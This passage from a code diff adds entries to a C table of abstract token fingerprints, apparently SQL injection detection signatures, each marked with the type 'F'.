{"0ESOSB", 'F'}, + {"0ESOSF", 'F'}, + {"0ESOSK", 'F'}, + {"0ESOSU", 'F'}, + {"0ESOSV", 'F'}, + {"0ESOV&", 'F'}, + {"0ESOV(", 'F'}, + {"0ESOV)", 'F'}, + {"0ESOV,", 'F'}, + {"0ESOV;", 'F'}, + {"0ESOVB", 'F'}, + {"0ESOVF", 'F'}, + {"0ESOVK", 'F'}, + {"0ESOVO", 'F'}, + {"0ESOVS", 'F'}, + {"0ESOVU", 'F'}, + {"0ESU(E", 'F'}, + {"0ESUE(", 'F'}, + {"0ESUE1", 'F'}, + {"0ESUEF", 'F'}, + {"0ESUEK", 'F'}, + {"0ESUEN", 'F'}, + {"0ESUES", 'F'}, + {"0ESUEV", 'F'}, + {"0ESV", 'F'}, + {"0ESV;", 'F'}, + {"0ESV;C", 'F'}, + {"0ESVC", 'F'}, + {"0ESVO(", 'F'}, + {"0ESVOF", 'F'}, + {"0ESVOS", 'F'}, + {"0EV&(1", 'F'}, + {"0EV&(E", 'F'}, + {"0EV&(F", 'F'}, + {"0EV&(N", 'F'}, + {"0EV&(S", 'F'}, + {"0EV&(V", 'F'}, + {"0EV&1)", 'F'}, + {"0EV&1O", 'F'}, + {"0EV&F(", 'F'}, + {"0EV&N)", 'F'}, + {"0EV&NO", 'F'}, + {"0EV&S)", 'F'}, + {"0EV&SO", 'F'}, + {"0EV&V)", 'F'}, + {"0EV&VO", 'F'}, + {"0EV)", 'F'}, + {"0EV)&(", 'F'}, + {"0EV)&1", 'F'}, + {"0EV)&F", 'F'}, + {"0EV)&N", 'F'}, + {"0EV)&S", 'F'}, + {"0EV)&V", 'F'}, + {"0EV);", 'F'}, + {"0EV);(", 'F'}, + {"0EV);C", 'F'}, + {"0EV);E", 'F'}, + {"0EV);T", 'F'}, + {"0EV)C", 'F'}, + {"0EV)KN", 'F'}, + {"0EV)O(", 'F'}, + {"0EV)O1", 'F'}, + {"0EV)OF", 'F'}, + {"0EV)ON", 'F'}, + {"0EV)OS", 'F'}, + {"0EV)OV", 'F'}, + {"0EV)UE", 'F'}, + {"0EV,(1", 'F'}, + {"0EV,(F", 'F'}, + {"0EV,(N", 'F'}, + {"0EV,(S", 'F'}, + {"0EV,(V", 'F'}, + {"0EV,F(", 'F'}, + {"0EV;(E", 'F'}, + {"0EVB(1", 'F'}, + {"0EVB(F", 'F'}, + {"0EVB(N", 'F'}, + {"0EVB(S", 'F'}, + {"0EVB(V", 'F'}, + {"0EVB1)", 'F'}, + {"0EVB1O", 'F'}, + {"0EVBF(", 'F'}, + {"0EVBN)", 'F'}, + {"0EVBNO", 'F'}, + {"0EVBS)", 'F'}, + {"0EVBSO", 'F'}, + {"0EVBV)", 'F'}, + {"0EVBVO", 'F'}, + {"0EVF()", 'F'}, + {"0EVF(1", 'F'}, + {"0EVF(F", 'F'}, + {"0EVF(N", 'F'}, + {"0EVF(S", 'F'}, + {"0EVF(V", 'F'}, + {"0EVK(1", 'F'}, + {"0EVK(E", 'F'}, + {"0EVK(F", 'F'}, + {"0EVK(N", 'F'}, + {"0EVK(S", 'F'}, + {"0EVK(V", 'F'}, + {"0EVK1)", 'F'}, + {"0EVK1K", 'F'}, + {"0EVK1O", 'F'}, + {"0EVKF(", 'F'}, + {"0EVKN", 'F'}, + {"0EVKN)", 'F'}, + {"0EVKN;", 'F'}, + {"0EVKNC", 'F'}, + {"0EVKNK", 'F'}, + {"0EVKNU", 'F'}, + {"0EVKS)", 'F'}, + {"0EVKSK", 'F'}, + {"0EVKSO", 'F'}, + {"0EVKV)", 'F'}, + {"0EVKVK", 'F'}, + {"0EVKVO", 'F'}, + {"0EVN", 'F'}, + {"0EVN)U", 'F'}, + {"0EVN;", 'F'}, + {"0EVN;C", 'F'}, + {"0EVNC", 'F'}, + {"0EVNKN", 'F'}, + {"0EVNO(", 'F'}, + {"0EVNOF", 'F'}, + {"0EVNOS", 'F'}, + {"0EVNOV", 'F'}, + {"0EVO(1", 'F'}, + {"0EVO(E", 'F'}, + {"0EVO(F", 'F'}, + {"0EVO(N", 'F'}, + {"0EVO(S", 'F'}, + {"0EVO(V", 'F'}, + {"0EVOF(", 'F'}, + {"0EVOS&", 'F'}, + {"0EVOS(", 'F'}, + {"0EVOS)", 'F'}, + {"0EVOS,", 'F'}, + {"0EVOS1", 'F'}, + {"0EVOS;", 'F'}, + {"0EVOSB", 'F'}, + {"0EVOSF", 'F'}, + {"0EVOSK", 'F'}, + {"0EVOSU", 'F'}, + {"0EVOSV", 'F'}, + {"0EVS", 'F'}, + {"0EVS;", 'F'}, + {"0EVS;C", 'F'}, + {"0EVSC", 'F'}, + {"0EVSO(", 'F'}, + {"0EVSO1", 'F'}, + {"0EVSOF", 'F'}, + {"0EVSON", 'F'}, + {"0EVSOS", 'F'}, + {"0EVSOV", 'F'}, + {"0EVU(E", 'F'}, + {"0EVUE(", 'F'}, + {"0EVUE1", 'F'}, + {"0EVUEF", 'F'}, + {"0EVUEK", 'F'}, + {"0EVUEN", 'F'}, + {"0EVUES", 'F'}, + {"0EVUEV", 'F'}, + {"0F()&(", 'F'}, + {"0F()&1", 'F'}, + {"0F()&E", 'F'}, + {"0F()&F", 'F'}, + {"0F()&K", 'F'}, + {"0F()&N", 'F'}, + {"0F()&S", 'F'}, + {"0F()&V", 'F'}, + {"0F(),(", 'F'}, + {"0F(),1", 'F'}, + {"0F(),F", 'F'}, + {"0F(),N", 'F'}, + {"0F(),S", 'F'}, + {"0F(),V", 'F'}, + {"0F()1(", 'F'}, + {"0F()1F", 'F'}, + {"0F()1N", 'F'}, + {"0F()1O", 'F'}, + {"0F()1S", 'F'}, + {"0F()1U", 'F'}, + {"0F()1V", 'F'}, + {"0F();E", 'F'}, + {"0F();N", 'F'}, + {"0F();T", 'F'}, + {"0F()A(", 'F'}, + {"0F()AF", 'F'}, + {"0F()AS", 'F'}, + {"0F()AT", 'F'}, + {"0F()AV", 'F'}, + {"0F()B(", 'F'}, + {"0F()B1", 'F'}, + {"0F()BE", 'F'}, + {"0F()BF", 'F'}, + {"0F()BN", 'F'}, + {"0F()BS", 'F'}, + {"0F()BV", 'F'}, + {"0F()C", 'F'}, + {"0F()E(", 'F'}, + {"0F()E1", 'F'}, + {"0F()EF", 'F'}, + {"0F()EK", 'F'}, + {"0F()EN", 'F'}, + {"0F()EO", 'F'}, + {"0F()ES", 'F'}, + {"0F()EU", 'F'}, + {"0F()EV", 'F'}, + {"0F()F(", 'F'}, + {"0F()K(", 'F'}, + {"0F()K)", 'F'}, + {"0F()K1", 'F'}, + {"0F()KF", 'F'}, + {"0F()KN", 'F'}, + {"0F()KS", 'F'}, + {"0F()KU", 'F'}, + {"0F()KV", 'F'}, + {"0F()N&", 'F'}, + {"0F()N(", 'F'}, + {"0F()N)", 'F'}, + {"0F()N,", 'F'}, + {"0F()N1", 'F'}, + {"0F()NE", 'F'}, + {"0F()NF", 'F'}, + {"0F()NO", 'F'}, + {"0F()NU", 'F'}, + {"0F()O(", 'F'}, + {"0F()O1", 'F'}, + {"0F()OF", 'F'}, + {"0F()OK", 'F'}, + {"0F()ON", 'F'}, + {"0F()OS", 'F'}, + {"0F()OU", 'F'}, + {"0F()OV", 'F'}, + {"0F()S(", 'F'}, + {"0F()S1", 'F'}, + {"0F()SF", 'F'}, + {"0F()SO", 'F'}, + {"0F()SU", 'F'}, + {"0F()SV", 'F'}, + {"0F()T(", 'F'}, + {"0F()T1", 'F'}, + {"0F()TE", 'F'}, + {"0F()TF", 'F'}, + {"0F()TN", 'F'}, + {"0F()TS", 'F'}, + {"0F()TT", 'F'}, + {"0F()TV", 'F'}, + {"0F()U", 'F'}, + {"0F()U(", 'F'}, + {"0F()U1", 'F'}, + {"0F()U;", 'F'}, + {"0F()UC", 'F'}, + {"0F()UE", 'F'}, + {"0F()UF", 'F'}, + {"0F()UK", 'F'}, + {"0F()UO", 'F'}, + {"0F()US", 'F'}, + {"0F()UT", 'F'}, + {"0F()UV", 'F'}, + {"0F()V(", 'F'}, + {"0F()VF", 'F'}, + {"0F()VO", 'F'}, + {"0F()VS", 'F'}, + {"0F()VU", 'F'}, + {"0F(1&(", 'F'}, + {"0F(1&1", 'F'}, + {"0F(1&F", 'F'}, + {"0F(1&N", 'F'}, + {"0F(1&S", 'F'}, + {"0F(1&V", 'F'}, + {"0F(1)", 'F'}, + {"0F(1)&", 'F'}, + {"0F(1),", 'F'}, + {"0F(1)1", 'F'}, + {"0F(1);", 'F'}, + {"0F(1)A", 'F'}, + {"0F(1)B", 'F'}, + {"0F(1)C", 'F'}, + {"0F(1)E", 'F'}, + {"0F(1)F", 'F'}, + {"0F(1)K", 'F'}, + {"0F(1)N", 'F'}, + {"0F(1)O", 'F'}, + {"0F(1)S", 'F'}, + {"0F(1)T", 'F'}, + {"0F(1)U", 'F'}, + {"0F(1)V", 'F'}, + {"0F(1,(", 'F'}, + {"0F(1,F", 'F'}, + {"0F(1O(", 'F'}, + {"0F(1OF", 'F'}, + {"0F(1OS", 'F'}, + {"0F(1OV", 'F'}, + {"0F(E(1", 'F'}, + {"0F(E(E", 'F'}, + {"0F(E(F", 'F'}, + {"0F(E(N", 'F'}, + {"0F(E(S", 'F'}, + {"0F(E(V", 'F'}, + {"0F(E1&", 'F'}, + {"0F(E1)", 'F'}, + {"0F(E1K", 'F'}, + {"0F(E1O", 'F'}, + {"0F(EF(", 'F'}, + {"0F(EK(", 'F'}, + {"0F(EK1", 'F'}, + {"0F(EKF", 'F'}, + {"0F(EKN", 'F'}, + {"0F(EKO", 'F'}, + {"0F(EKS", 'F'}, + {"0F(EKV", 'F'}, + {"0F(EN&", 'F'}, + {"0F(EN)", 'F'}, + {"0F(ENK", 'F'}, + {"0F(ENO", 'F'}, + {"0F(EOK", 'F'}, + {"0F(ES&", 'F'}, + {"0F(ES)", 'F'}, + {"0F(ESK", 'F'}, + {"0F(ESO", 'F'}, + {"0F(EV&", 'F'}, + {"0F(EV)", 'F'}, + {"0F(EVK", 'F'}, + {"0F(EVO", 'F'}, + {"0F(F()", 'F'}, + {"0F(F(1", 'F'}, + {"0F(F(E", 'F'}, + {"0F(F(F", 'F'}, + {"0F(F(N", 'F'}, + {"0F(F(S", 'F'}, + {"0F(F(V", 'F'}, + {"0F(K()", 'F'}, + {"0F(K,(", 'F'}, + {"0F(K,F", 'F'}, + {"0F(N&(", 'F'}, + {"0F(N&1", 'F'}, + {"0F(N&F", 'F'}, + {"0F(N&N", 'F'}, + {"0F(N&S", 'F'}, + {"0F(N&V", 'F'}, + {"0F(N)", 'F'}, + {"0F(N)&", 'F'}, + {"0F(N),", 'F'}, + {"0F(N)1", 'F'}, + {"0F(N);", 'F'}, + {"0F(N)A", 'F'}, + {"0F(N)B", 'F'}, + {"0F(N)C", 'F'}, + {"0F(N)E", 'F'}, + {"0F(N)F", 'F'}, + {"0F(N)K", 'F'}, + {"0F(N)N", 'F'}, + {"0F(N)O", 'F'}, + {"0F(N)S", 'F'}, + {"0F(N)T", 'F'}, + {"0F(N)U", 'F'}, + {"0F(N)V", 'F'}, + {"0F(N,(", 'F'}, + {"0F(N,F", 'F'}, + {"0F(NO(", 'F'}, + {"0F(NOF", 'F'}, + {"0F(NOS", 'F'}, + {"0F(NOV", 'F'}, + {"0F(S&(", 'F'}, + {"0F(S&1", 'F'}, + {"0F(S&F", 'F'}, + {"0F(S&N", 'F'}, + {"0F(S&S", 'F'}, + {"0F(S&V", 'F'}, + {"0F(S)", 'F'}, + {"0F(S)&", 'F'}, + {"0F(S),", 'F'}, + {"0F(S)1", 'F'}, + {"0F(S);", 'F'}, + {"0F(S)A", 'F'}, + {"0F(S)B", 'F'}, + {"0F(S)C", 'F'}, + {"0F(S)E", 'F'}, + {"0F(S)F", 'F'}, + {"0F(S)K", 'F'}, + {"0F(S)N", 'F'}, + {"0F(S)O", 'F'}, + {"0F(S)S", 'F'}, + {"0F(S)T", 'F'}, + {"0F(S)U", 'F'}, + {"0F(S)V", 'F'}, + {"0F(S,(", 'F'}, + {"0F(S,F", 'F'}, + {"0F(SO(", 'F'}, + {"0F(SO1", 'F'}, + {"0F(SOF", 'F'}, + {"0F(SON", 'F'}, + {"0F(SOS", 'F'}, + {"0F(SOV", 'F'}, + {"0F(T,(", 'F'}, + {"0F(T,F", 'F'}, + {"0F(V&(", 'F'}, + {"0F(V&1", 'F'}, + {"0F(V&F", 'F'}, + {"0F(V&N", 'F'}, + {"0F(V&S", 'F'}, + {"0F(V&V", 'F'}, + {"0F(V)", 'F'}, + {"0F(V)&", 'F'}, + {"0F(V),", 'F'}, + {"0F(V)1", 'F'}, + {"0F(V);", 'F'}, + {"0F(V)A", 'F'}, + {"0F(V)B", 'F'}, + {"0F(V)C", 'F'}, + {"0F(V)E", 'F'}, + {"0F(V)F", 'F'}, + {"0F(V)K", 'F'}, + {"0F(V)N", 'F'}, + {"0F(V)O", 'F'}, + {"0F(V)S", 'F'}, + {"0F(V)T", 'F'}, + {"0F(V)U", 'F'}, + {"0F(V)V", 'F'}, + {"0F(V,(", 'F'}, + {"0F(V,F", 'F'}, + {"0F(VO(", 'F'}, + {"0F(VOF", 'F'}, + {"0F(VOS", 'F'}, + {"0K(1),", 'F'}, + {"0K(1)A", 'F'}, + {"0K(1)K", 'F'}, + {"0K(1)O", 'F'}, + {"0K(1O(", 'F'}, + {"0K(1OF", 'F'}, + {"0K(1OS", 'F'}, + {"0K(1OV", 'F'}, + {"0K(F()", 'F'}, + {"0K(F(1", 'F'}, + {"0K(F(F", 'F'}, + {"0K(F(N", 'F'}, + {"0K(F(S", 'F'}, + {"0K(F(V", 'F'}, + {"0K(N),", 'F'}, + {"0K(N)A", 'F'}, + {"0K(N)K", 'F'}, + {"0K(N)O", 'F'}, + {"0K(NO(", 'F'}, + {"0K(NOF", 'F'}, + {"0K(NOS", 'F'}, + {"0K(NOV", 'F'}, + {"0K(S),", 'F'}, + {"0K(S)A", 'F'}, + {"0K(S)K", 'F'}, + {"0K(S)O", 'F'}, + {"0K(SO(", 'F'}, + {"0K(SO1", 'F'}, + {"0K(SOF", 'F'}, + {"0K(SON", 'F'}, + {"0K(SOS", 'F'}, + {"0K(SOV", 'F'}, + {"0K(V),", 'F'}, + {"0K(V)A", 'F'}, + {"0K(V)K", 'F'}, + {"0K(V)O", 'F'}, + {"0K(VO(", 'F'}, + {"0K(VOF", 'F'}, + {"0K(VOS", 'F'}, + {"0K1,(1", 'F'}, + {"0K1,(F", 'F'}, + {"0K1,(N", 'F'}, + {"0K1,(S", 'F'}, + {"0K1,(V", 'F'}, + {"0K1,F(", 'F'}, + {"0K1A(F", 'F'}, + {"0K1A(N", 'F'}, + {"0K1A(S", 'F'}, + {"0K1A(V", 'F'}, + {"0K1AF(", 'F'}, + {"0K1ASO", 'F'}, + {"0K1AVO", 'F'}, + {"0K1K(1", 'F'}, + {"0K1K(F", 'F'}, + {"0K1K(N", 'F'}, + {"0K1K(S", 'F'}, + {"0K1K(V", 'F'}, + {"0K1K1O", 'F'}, + {"0K1K1U", 'F'}, + {"0K1KF(", 'F'}, + {"0K1KNU", 'F'}, + {"0K1KSO", 'F'}, + {"0K1KSU", 'F'}, + {"0K1KVO", 'F'}, + {"0K1KVU", 'F'}, + {"0K1O(1", 'F'}, + {"0K1O(F", 'F'}, + {"0K1O(N", 'F'}, + {"0K1O(S", 'F'}, + {"0K1O(V", 'F'}, + {"0K1OF(", 'F'}, + {"0K1OS(", 'F'}, + {"0K1OS,", 'F'}, + {"0K1OS1", 'F'}, + {"0K1OSA", 'F'}, + {"0K1OSF", 'F'}, + {"0K1OSK", 'F'}, + {"0K1OSV", 'F'}, + {"0K1OV(", 'F'}, + {"0K1OV,", 'F'}, + {"0K1OVA", 'F'}, + {"0K1OVF", 'F'}, + {"0K1OVK", 'F'}, + {"0K1OVO", 'F'}, + {"0K1OVS", 'F'}, + {"0KF(),", 'F'}, + {"0KF()A", 'F'}, + {"0KF()K", 'F'}, + {"0KF()O", 'F'}, + {"0KF(1)", 'F'}, + {"0KF(1O", 'F'}, + {"0KF(F(", 'F'}, + {"0KF(N)", 'F'}, + {"0KF(NO", 'F'}, + {"0KF(S)", 'F'}, + {"0KF(SO", 'F'}, + {"0KF(V)", 'F'}, + {"0KF(VO", 'F'}, + {"0KN,(1", 'F'}, + {"0KN,(F", 'F'}, + {"0KN,(N", 'F'}, + {"0KN,(S", 'F'}, + {"0KN,(V", 'F'}, + {"0KN,F(", 'F'}, + {"0KNA(F", 'F'}, + {"0KNA(N", 'F'}, + {"0KNA(S", 'F'}, + {"0KNA(V", 'F'}, + {"0KNAF(", 'F'}, + {"0KNASO", 'F'}, + {"0KNAVO", 'F'}, + {"0KNK(1", 'F'}, + {"0KNK(F", 'F'}, + {"0KNK(N", 'F'}, + {"0KNK(S", 'F'}, + {"0KNK(V", 'F'}, + {"0KNK1O", 'F'}, + {"0KNK1U", 'F'}, + {"0KNKF(", 'F'}, + {"0KNKNU", 'F'}, + {"0KNKSO", 'F'}, + {"0KNKSU", 'F'}, + {"0KNKVO", 'F'}, + {"0KNKVU", 'F'}, + {"0KS,(1", 'F'}, + {"0KS,(F", 'F'}, + {"0KS,(N", 'F'}, + {"0KS,(S", 'F'}, + {"0KS,(V", 'F'}, + {"0KS,F(", 'F'}, + {"0KSA(F", 'F'}, + {"0KSA(N", 'F'}, + {"0KSA(S", 'F'}, + {"0KSA(V", 'F'}, + {"0KSAF(", 'F'}, + {"0KSASO", 'F'}, + {"0KSAVO", 'F'}, + {"0KSK(1", 'F'}, + {"0KSK(F", 'F'}, + {"0KSK(N", 'F'}, + {"0KSK(S", 'F'}, + {"0KSK(V", 'F'}, + {"0KSK1O", 'F'}, + {"0KSK1U", 'F'}, + {"0KSKF(", 'F'}, + {"0KSKNU", 'F'}, + {"0KSKSO", 'F'}, + {"0KSKSU", 'F'}, + {"0KSKVO", 'F'}, + {"0KSKVU", 'F'}, + {"0KSO(1", 'F'}, + {"0KSO(F", 'F'}, + {"0KSO(N", 'F'}, + {"0KSO(S", 'F'}, + {"0KSO(V", 'F'}, + {"0KSO1(", 'F'}, + {"0KSO1,", 'F'}, + {"0KSO1A", 'F'}, + {"0KSO1F", 'F'}, + {"0KSO1K", 'F'}, + {"0KSO1N", 'F'}, + {"0KSO1S", 'F'}, + {"0KSO1V", 'F'}, + {"0KSOF(", 'F'}, + {"0KSON(", 'F'}, + {"0KSON,", 'F'}, + {"0KSON1", 'F'}, + {"0KSONA", 'F'}, + {"0KSONF", 'F'}, + {"0KSONK", 'F'}, + {"0KSOS(", 'F'}, + {"0KSOS,", 'F'}, + {"0KSOS1", 'F'}, + {"0KSOSA", 'F'}, + {"0KSOSF", 'F'}, + {"0KSOSK", 'F'}, + {"0KSOSV", 'F'}, + {"0KSOV(", 'F'}, + {"0KSOV,", 'F'}, + {"0KSOVA", 'F'}, + {"0KSOVF", 'F'}, + {"0KSOVK", 'F'}, + {"0KSOVO", 'F'}, + {"0KSOVS", 'F'}, + {"0KV,(1", 'F'}, + {"0KV,(F", 'F'}, + {"0KV,(N", 'F'}, + {"0KV,(S", 'F'}, + {"0KV,(V", 'F'}, + {"0KV,F(", 'F'}, + {"0KVA(F", 'F'}, + {"0KVA(N", 'F'}, + {"0KVA(S", 'F'}, + {"0KVA(V", 'F'}, + {"0KVAF(", 'F'}, + {"0KVASO", 'F'}, + {"0KVAVO", 'F'}, + {"0KVK(1", 'F'}, + {"0KVK(F", 'F'}, + {"0KVK(N", 'F'}, + {"0KVK(S", 'F'}, + {"0KVK(V", 'F'}, + {"0KVK1O", 'F'}, + {"0KVK1U", 'F'}, + {"0KVKF(", 'F'}, + {"0KVKNU", 'F'}, + {"0KVKSO", 'F'}, + {"0KVKSU", 'F'}, + {"0KVKVO", 'F'}, + {"0KVKVU", 'F'}, + {"0KVO(1", 'F'}, + {"0KVO(F", 'F'}, + {"0KVO(N", 'F'}, + {"0KVO(S", 'F'}, + {"0KVO(V", 'F'}, + {"0KVOF(", 'F'}, + {"0KVOS(", 'F'}, + {"0KVOS,", 'F'}, + {"0KVOS1", 'F'}, + {"0KVOSA", 'F'}, + {"0KVOSF", 'F'}, + {"0KVOSK", 'F'}, + {"0KVOSV", 'F'}, + {"0N&(1&", 'F'}, + {"0N&(1)", 'F'}, + {"0N&(1,", 'F'}, + {"0N&(1O", 'F'}, + {"0N&(E(", 'F'}, + {"0N&(E1", 'F'}, + {"0N&(EF", 'F'}, + {"0N&(EK", 'F'}, + {"0N&(EN", 'F'}, + {"0N&(EO", 'F'}, + {"0N&(ES", 'F'}, + {"0N&(EV", 'F'}, + {"0N&(F(", 'F'}, + {"0N&(N&", 'F'}, + {"0N&(N)", 'F'}, + {"0N&(N,", 'F'}, + {"0N&(NO", 'F'}, + {"0N&(S&", 'F'}, + {"0N&(S)", 'F'}, + {"0N&(S,", 'F'}, + {"0N&(SO", 'F'}, + {"0N&(V&", 'F'}, + {"0N&(V)", 'F'}, + {"0N&(V,", 'F'}, + {"0N&(VO", 'F'}, + {"0N&1", 'F'}, + {"0N&1&(", 'F'}, + {"0N&1&1", 'F'}, + {"0N&1&F", 'F'}, + {"0N&1&N", 'F'}, + {"0N&1&S", 'F'}, + {"0N&1&V", 'F'}, + {"0N&1)&", 'F'}, + {"0N&1)C", 'F'}, + {"0N&1)O", 'F'}, + {"0N&1)U", 'F'}, + {"0N&1;", 'F'}, + {"0N&1;C", 'F'}, + {"0N&1;E", 'F'}, + {"0N&1;T", 'F'}, + {"0N&1B(", 'F'}, + {"0N&1B1", 'F'}, + {"0N&1BF", 'F'}, + {"0N&1BN", 'F'}, + {"0N&1BS", 'F'}, + {"0N&1BV", 'F'}, + {"0N&1C", 'F'}, + {"0N&1EK", 'F'}, + {"0N&1EN", 'F'}, + {"0N&1F(", 'F'}, + {"0N&1K(", 'F'}, + {"0N&1K1", 'F'}, + {"0N&1KF", 'F'}, + {"0N&1KN", 'F'}, + {"0N&1KS", 'F'}, + {"0N&1KV", 'F'}, + {"0N&1O(", 'F'}, + {"0N&1OF", 'F'}, + {"0N&1OS", 'F'}, + {"0N&1OV", 'F'}, + {"0N&1TN", 'F'}, + {"0N&1U", 'F'}, + {"0N&1U(", 'F'}, + {"0N&1U;", 'F'}, + {"0N&1UC", 'F'}, + {"0N&1UE", 'F'}, + {"0N&E(1", 'F'}, + {"0N&E(F", 'F'}, + {"0N&E(N", 'F'}, + {"0N&E(O", 'F'}, + {"0N&E(S", 'F'}, + {"0N&E(V", 'F'}, + {"0N&E1", 'F'}, + {"0N&E1;", 'F'}, + {"0N&E1C", 'F'}, + {"0N&E1K", 'F'}, + {"0N&E1O", 'F'}, + {"0N&EF(", 'F'}, + {"0N&EK(", 'F'}, + {"0N&EK1", 'F'}, + {"0N&EKF", 'F'}, + {"0N&EKN", 'F'}, + {"0N&EKS", 'F'}, + {"0N&EKV", 'F'}, + {"0N&EN;", 'F'}, + {"0N&ENC", 'F'}, + {"0N&ENK", 'F'}, + {"0N&ENO", 'F'}, + {"0N&ES", 'F'}, + {"0N&ES;", 'F'}, + {"0N&ESC", 'F'}, + {"0N&ESK", 'F'}, + {"0N&ESO", 'F'}, + {"0N&EV", 'F'}, + {"0N&EV;", 'F'}, + {"0N&EVC", 'F'}, + {"0N&EVK", 'F'}, + {"0N&EVO", 'F'}, + {"0N&F()", 'F'}, + {"0N&F(1", 'F'}, + {"0N&F(E", 'F'}, + {"0N&F(F", 'F'}, + {"0N&F(N", 'F'}, + {"0N&F(S", 'F'}, + {"0N&F(V", 'F'}, + {"0N&K&(", 'F'}, + {"0N&K&1", 'F'}, + {"0N&K&F", 'F'}, + {"0N&K&N", 'F'}, + {"0N&K&S", 'F'}, + {"0N&K&V", 'F'}, + {"0N&K(1", 'F'}, + {"0N&K(F", 'F'}, + {"0N&K(N", 'F'}, + {"0N&K(S", 'F'}, + {"0N&K(V", 'F'}, + {"0N&K1O", 'F'}, + {"0N&KC", 'F'}, + {"0N&KF(", 'F'}, + {"0N&KNK", 'F'}, + {"0N&KO(", 'F'}, + {"0N&KO1", 'F'}, + {"0N&KOF", 'F'}, + {"0N&KOK", 'F'}, + {"0N&KON", 'F'}, + {"0N&KOS", 'F'}, + {"0N&KOV", 'F'}, + {"0N&KSO", 'F'}, + {"0N&KVO", 'F'}, + {"0N&N&(", 'F'}, + {"0N&N&1", 'F'}, + {"0N&N&F", 'F'}, + {"0N&N&S", 'F'}, + {"0N&N&V", 'F'}, + {"0N&N)&", 'F'}, + {"0N&N)C", 'F'}, + {"0N&N)O", 'F'}, + {"0N&N)U", 'F'}, + {"0N&N;C", 'F'}, + {"0N&N;E", 'F'}, + {"0N&N;T", 'F'}, + {"0N&NB(", 'F'}, + {"0N&NB1", 'F'}, + {"0N&NBF", 'F'}, + {"0N&NBS", 'F'}, + {"0N&NBV", 'F'}, + {"0N&NF(", 'F'}, + {"0N&NK(", 'F'}, + {"0N&NK1", 'F'}, + {"0N&NKF", 'F'}, + {"0N&NKS", 'F'}, + {"0N&NKV", 'F'}, + {"0N&NO(", 'F'}, + {"0N&NOF", 'F'}, + {"0N&NOS", 'F'}, + {"0N&NOV", 'F'}, + {"0N&NU", 'F'}, + {"0N&NU(", 'F'}, + {"0N&NU;", 'F'}, + {"0N&NUC", 'F'}, + {"0N&NUE", 'F'}, + {"0N&S&(", 'F'}, + {"0N&S&1", 'F'}, + {"0N&S&F", 'F'}, + {"0N&S&N", 'F'}, + {"0N&S&S", 'F'}, + {"0N&S&V", 'F'}, + {"0N&S)&", 'F'}, + {"0N&S)C", 'F'}, + {"0N&S)O", 'F'}, + {"0N&S)U", 'F'}, + {"0N&S1", 'F'}, + {"0N&S1;", 'F'}, + {"0N&S1C", 'F'}, + {"0N&S;", 'F'}, + {"0N&S;C", 'F'}, + {"0N&S;E", 'F'}, + {"0N&S;T", 'F'}, + {"0N&SB(", 'F'}, + {"0N&SB1", 'F'}, + {"0N&SBF", 'F'}, + {"0N&SBN", 'F'}, + {"0N&SBS", 'F'}, + {"0N&SBV", 'F'}, + {"0N&SC", 'F'}, + {"0N&SEK", 'F'}, + {"0N&SEN", 'F'}, + {"0N&SF(", 'F'}, + {"0N&SK(", 'F'}, + {"0N&SK1", 'F'}, + {"0N&SKF", 'F'}, + {"0N&SKN", 'F'}, + {"0N&SKS", 'F'}, + {"0N&SKV", 'F'}, + {"0N&SO(", 'F'}, + {"0N&SO1", 'F'}, + {"0N&SOF", 'F'}, + {"0N&SON", 'F'}, + {"0N&SOS", 'F'}, + {"0N&SOV", 'F'}, + {"0N&STN", 'F'}, + {"0N&SU", 'F'}, + {"0N&SU(", 'F'}, + {"0N&SU;", 'F'}, + {"0N&SUC", 'F'}, + {"0N&SUE", 'F'}, + {"0N&SV", 'F'}, + {"0N&SV;", 'F'}, + {"0N&SVC", 'F'}, + {"0N&SVO", 'F'}, + {"0N&V", 'F'}, + {"0N&V&(", 'F'}, + {"0N&V&1", 'F'}, + {"0N&V&F", 'F'}, + {"0N&V&N", 'F'}, + {"0N&V&S", 'F'}, + {"0N&V&V", 'F'}, + {"0N&V)&", 'F'}, + {"0N&V)C", 'F'}, + {"0N&V)O", 'F'}, + {"0N&V)U", 'F'}, + {"0N&V;", 'F'}, + {"0N&V;C", 'F'}, + {"0N&V;E", 'F'}, + {"0N&V;T", 'F'}, + {"0N&VB(", 'F'}, + {"0N&VB1", 'F'}, + {"0N&VBF", 'F'}, + {"0N&VBN", 'F'}, + {"0N&VBS", 'F'}, + {"0N&VBV", 'F'}, + {"0N&VC", 'F'}, + {"0N&VEK", 'F'}, + {"0N&VEN", 'F'}, + {"0N&VF(", 'F'}, + {"0N&VK(", 'F'}, + {"0N&VK1", 'F'}, + {"0N&VKF", 'F'}, + {"0N&VKN", 'F'}, + {"0N&VKS", 'F'}, + {"0N&VKV", 'F'}, + {"0N&VO(", 'F'}, + {"0N&VOF", 'F'}, + {"0N&VOS", 'F'}, + {"0N&VS", 'F'}, + {"0N&VS;", 'F'}, + {"0N&VSC", 'F'}, + {"0N&VSO", 'F'}, + {"0N&VTN", 'F'}, + {"0N&VU", 'F'}, + {"0N&VU(", 'F'}, + {"0N&VU;", 'F'}, + {"0N&VUC", 'F'}, + {"0N&VUE", 'F'}, + {"0N)&(1", 'F'}, + {"0N)&(E", 'F'}, + {"0N)&(F", 'F'}, + {"0N)&(N", 'F'}, + {"0N)&(S", 'F'}, + {"0N)&(V", 'F'}, + {"0N)&1", 'F'}, + {"0N)&1&", 'F'}, + {"0N)&1)", 'F'}, + {"0N)&1;", 'F'}, + {"0N)&1B", 'F'}, + {"0N)&1C", 'F'}, + {"0N)&1F", 'F'}, + {"0N)&1O", 'F'}, + {"0N)&1U", 'F'}, + {"0N)&F(", 'F'}, + {"0N)&N", 'F'}, + {"0N)&N&", 'F'}, + {"0N)&N)", 'F'}, + {"0N)&N;", 'F'}, + {"0N)&NB", 'F'}, + {"0N)&NC", 'F'}, + {"0N)&NF", 'F'}, + {"0N)&NO", 'F'}, + {"0N)&NU", 'F'}, + {"0N)&S", 'F'}, + {"0N)&S&", 'F'}, + {"0N)&S)", 'F'}, + {"0N)&S;", 'F'}, + {"0N)&SB", 'F'}, + {"0N)&SC", 'F'}, + {"0N)&SF", 'F'}, + {"0N)&SO", 'F'}, + {"0N)&SU", 'F'}, + {"0N)&V", 'F'}, + {"0N)&V&", 'F'}, + {"0N)&V)", 'F'}, + {"0N)&V;", 'F'}, + {"0N)&VB", 'F'}, + {"0N)&VC", 'F'}, + {"0N)&VF", 'F'}, + {"0N)&VO", 'F'}, + {"0N)&VU", 'F'}, + {"0N),(1", 'F'}, + {"0N),(F", 'F'}, + {"0N),(N", 'F'}, + {"0N),(S", 'F'}, + {"0N),(V", 'F'}, + 